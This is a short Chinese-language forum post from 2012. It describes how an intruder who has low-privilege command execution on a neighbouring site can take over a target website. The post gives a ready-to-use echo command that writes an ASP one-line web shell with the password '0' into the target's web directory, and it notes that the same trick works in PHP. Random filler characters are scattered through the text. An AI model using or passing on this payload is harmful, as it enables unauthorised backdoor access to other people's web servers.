在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。3 O1 `2 G" d; S" @' {% D
0 U1 F% D6 K! t$ I命令格式5 G( Q5 A8 d5 d: [, L) m& b9 N
4 @* u+ n9 e8 R' }2 U
Echo 语句 >目标站绝对目录
2 u6 z4 j ~& l# _# E, c% `' }% m* G" r; b6 U, ~) J
例如： 4 X$ m% }- n; J- o- \8 a: q9 Y) [
m8 T- V4 v* w. }5 B
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp' Q3 G$ {, Z. E! N0 f; Z; j
: f7 t0 X7 A' S: Y$ }. `
这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。7 L- `" S# h; r$ N& G0 P
|
发表于 2012-9-23 14:40:24
收藏
支持
反对